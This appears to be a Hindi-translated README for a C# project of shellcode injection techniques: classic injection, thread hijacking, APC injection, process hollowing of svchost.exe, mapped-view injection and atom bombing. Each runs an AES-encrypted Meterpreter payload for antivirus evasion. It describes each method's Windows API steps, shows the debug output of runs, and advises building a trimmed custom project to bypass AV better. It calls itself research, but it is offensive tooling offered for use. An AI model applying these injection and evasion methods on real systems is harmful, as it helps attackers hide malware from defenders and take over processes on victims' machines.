
C# में शेलकोड इंजेक्शन तकनीकों के कार्यान्वयन जिनमें क्लासिक इंजेक्शन, थ्रेड हाइजैकिंग, प्रोसेस हॉलोइंग और एटम बॉम्बिंग शामिल हैं, AV एवेज़न अनुसंधान के लिए AES-एन्क्रिप्टेड Meterpreter पेलोड का उपयोग करते हुए।
C# शैलकोड इंजेक्शन तकनीकों का एक संग्रह। सभी तकनीकें AES एन्क्रिप्टेड मीटरप्रेटर पेलोड का उपयोग करती हैं।
जैसे-जैसे मैं और तकनीकें सीखता, खोजता या विकसित करता हूँ, मैं इस प्रोजेक्ट को बनाता रहूंगा।
नोट: प्रोजेक्ट का उपयोग ज्यों-का-त्यों करने का इरादा नहीं है। यदि आप किसी भी तकनीक का उपयोग करने जा रहे हैं, तो AV को बायपास करने की बेहतर संभावना होगी यदि आप अपनी चुनी हुई तकनीक के साथ एक छोटा, अनुकूलित प्रोजेक्ट बनाते हैं।
यदि आप इन रिपॉजिटरी में किसी भी कोड का उपयोग करते हैं तो इसे कानूनी रखें!
यदि आप डिस्क पर .Net बाइनरी लिखने से बचना चाहते हैं तो आप PowerShell असेंबली इंजेक्शन तकनीक का उपयोग कर सकते हैं।
ShellcodeRunner.cs : यह तकनीक सख्ती से इंजेक्शन तकनीक नहीं है (क्योंकि हम शैलकोड को उसी प्रक्रिया में निष्पादित करते हैं) लेकिन सभी तकनीकों में सबसे सरल है। हम सुनिश्चित करते हैं कि शैलकोड unsafe संदर्भ में एक निश्चित मेमोरी स्थान का उपयोग करे। हम उस पेज पर सुरक्षा बदलते हैं जहाँ शैलकोड स्थित है ताकि हम इसे निष्पादित कर सकें। फिर हम शैलकोड को निष्पादित करने के लिए C# डेलिगेट फ़ंक्शन का उपयोग करते हैं।
[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0
[+] Executing shellcode - memory address: 0x20D000418E0
ClassicInjection.cs : यह तकनीक लक्ष्य प्रक्रिया में मेमोरी आवंटित करती है, शैलकोड इंजेक्ट करती है और एक नया थ्रेड शुरू करती है।
[+] Found process: 24484
[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx(), assigned: 0x23642220000
[+] WriteProcessMemory() - remote address: 0x23642220000
[+] CreateRemoteThread() - thread handle: 0x380
ThreadHijack.cs : यह तकनीक लक्ष्य प्रक्रिया में कोड इंजेक्ट करके एक थ्रेड को हाईजैक करती है, हाईजैक किए गए थ्रेड को निलंबित करती है, इंस्ट्रक्शन पॉइंटर (RIP) को हमारे इंजेक्टेड कोड पर सेट करती है और फिर थ्रेड को फिर से शुरू करती है।
[+] Found process: 11508
[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack
[+] Found thread: 9344
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x1D17AB80000
[+] WriteProcessMemory() - remote address: 0x1D17AB80000
[+] SuspendThread() - thread handle: 0x378
[+] GetThreadContext() - thread handle: 0x378
[+] RIP is: 0x7FFA77D21104
[+] SetThreadContext(), RIP assigned: 0x1D17AB80000
[+] ResumeThread() - thread handle: 0x378
LocalThreadHijack.cs : यह तकनीक एक नया स्थानीय थ्रेड निलंबित अवस्था में बनाती है, फिर हम थ्रेड को हाईजैक करते हैं, इंस्ट्रक्शन पॉइंटर (RIP) को हमारे इंजेक्टेड कोड पर सेट करते हैं और फिर थ्रेड को फिर से शुरू करते हैं।
[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack
[+] CreateThread() - thread handle: 0x374
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0
[+] GetThreadContext() - thread handle: 0x374
[+] RIP is: 0x7FFA79EE2630
[+] SetThreadContext(), RIP assigned: 0x270800418E0
[+] ResumeThread() - thread handle: 0x374
ACPInjection.cs : यह तकनीक थ्रेड हाईजैकिंग तकनीक के समान है। हम शैलकोड को एक रिमोट थ्रेड में इंजेक्ट करते हैं, फिर थ्रेड में एक APC ऑब्जेक्ट को कतारबद्ध करते हैं। जब थ्रेड एक अलर्टेबल अवस्था में प्रवेश करता है (जब वह SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, या WaitForSingleObjectEx को कॉल करता है) तो यह हमारे कतारबद्ध APC ऑब्जेक्ट द्वारा इंगित शैलकोड को चलाता है।
[+] Found process: 25320
[+] Using technique: ShellcodeInjectionTechniques.APCInjection
[+] Found thread: 23796
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x24E064D0000
[+] WriteProcessMemory() - remote address: 0x24E064D0000
[+] QueueUserAPC() - thread handle: 0x378
ProcessHollow.cs : यह तकनीक एक और प्रक्रिया को निलंबित अवस्था में शुरू करती है (svchost.exe), मुख्य थ्रेड एंट्री पॉइंट ढूंढती है, उसमें हमारा शैलकोड इंजेक्ट करती है और फिर थ्रेड को फिर से शुरू करती है।
[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow
[+] CreateProcess(): C:\Windows\System32\svchost.exe
[+] Pointer to ImageBase: 0xD31E956010
[+] ReadProcessMemory() - image base pointer: 0xD31E956010
[+] ImageBase: 0x7FF6116C0000
[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000
[+] EntryPoint: 0xD31E956010
[+] WriteProcessMemory(): 0x7FF6116C4E80
[+] ResumeThread() - thread handle: 0x454
InterProcessMappedView.cs : यह तकनीक मेमोरी में एक नया सेक्शन बनाती है, सेक्शन का एक स्थानीय मैप्ड व्यू बनाती है, हमारे शैलकोड को स्थानीय मैप्ड व्यू में कॉपी करती है और लक्ष्य प्रक्रिया में स्थानीय मैप्ड व्यू का एक रिमोट मैप्ड व्यू बनाती है। अंत में हम लक्ष्य प्रक्रिया में मैप्ड व्यू को एंट्री पॉइंट के रूप में एक नया थ्रेड बनाते हैं।
[+] Found process: 23740
[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - section handle: 0x37C
[+] NtMapViewOfSection() - local view: 0x20CB8E40000
[+] Marshalling shellcode
[+] NtMapViewOfSection() - remote view: 0x22D90310000
[+] RtlCreateUserThread() - thread handle: 0x384
AtomBomb.cs : यह तकनीक दिलचस्प है कि हम लक्ष्य प्रक्रिया में शैलकोड कैसे लिखते हैं। हम ग्लोबल एटम टेबल का उपयोग करते हैं जो हमें अधिकतम 255 बाइट्स के आकार के साथ नल-टर्मिनेटेड स्ट्रिंग लिखने की अनुमति देता है। हम अपने शैलकोड को लिखने के लिए एक कोड केव ढूंढते हैं, फिर एटम नामों को मेमोरी में पढ़ने के लिए लक्ष्य प्रक्रिया को ट्रिगर करने के लिए APC कॉल का उपयोग करते हैं। अंत में हम लक्ष्य की मेमोरी सुरक्षा बदलने और शैलकोड को निष्पादित करने के लिए कुछ APC कॉल का उपयोग करते हैं।
मेरा कोड मूल एटम बॉम्बिंग तकनीक से भिन्न है, जो C/C++ में लिखी गई है। पहले, मैं कई APCs का उपयोग करके एटम नामों को एक साथ श्रृंखलित करता हूँ, ताकि 255 बाइट्स से बड़ा शैलकोड बन सके। मैं लक्ष्य प्रक्रिया को VirtualProtect कॉल करने और फिर कोड निष्पादित करने के लिए ROP श्रृंखलाओं का उपयोग नहीं करता, मैं APC कतार का उपयोग करता हूँ।
इस कोड के लिए मुख्य थ्रेड को APC कतार निष्पादित करने के लिए एक अलर्टेबल अवस्था में प्रवेश करने की आवश्यकता होती है और मैं शैलकोड निष्पादन के बाद सफाई नहीं करता, लक्ष्य प्रक्रिया अस्थिर हो जाती है। मैं इस तकनीक में सुधार करने की योजना बना रहा हूँ (अलर्टेबल थ्रेड्स की खोज करके और बाद में सफाई करके), लेकिन PoC के रूप में यह अच्छी तरह से काम करता है।
[+] Found process: 14140
[+] Using technique: ShellcodeInjectionTechniques.AtomBomb
[+] Found thread: 5940
[+] OpenThread() - thread handle: 0xD0
[+] FindWritablePages() - number found: 2
[+] Found a suitable code cave - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031
एटम बॉम्बिंग तकनीक ग्लोबल एटम टेबल में नल-टर्मिनेटेड स्ट्रिंग रखती है, इसका मतलब है कि आपको ऐसे शैलकोड का उपयोग करना होगा जिसमें 0x00 वर्ण न हों।
याद रखें आपको इंजेक्ट करने के लिए एक प्रक्रिया शुरू करनी होगी, सिवाय जब शैलकोड रनर, स्थानीय थ्रेड हाईजैक तकनीक या प्रक्रिया होलोइंग तकनीक का उपयोग कर रहे हों (यह तकनीक निलंबित अवस्था में एक नई प्रक्रिया शुरू करती है)।
[!] Unable to find process to inject into!
शैलकोड रनर, स्थानीय थ्रेड हाईजैक तकनीक या प्रक्रिया होलोइंग तकनीक का उपयोग करते समय आपको Program.cs में उस कोड को टिप्पणी करने की आवश्यकता होगी जो इंजेक्ट करने के लिए प्रक्रिया की तलाश करता है:
/*
Process[] processes = Process.GetProcessesByName("notepad");
if(processes.Length == 0)
{
Debug("[!] Unable to find process to inject into!");
return;
}
Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() });
target = processes[0];
*/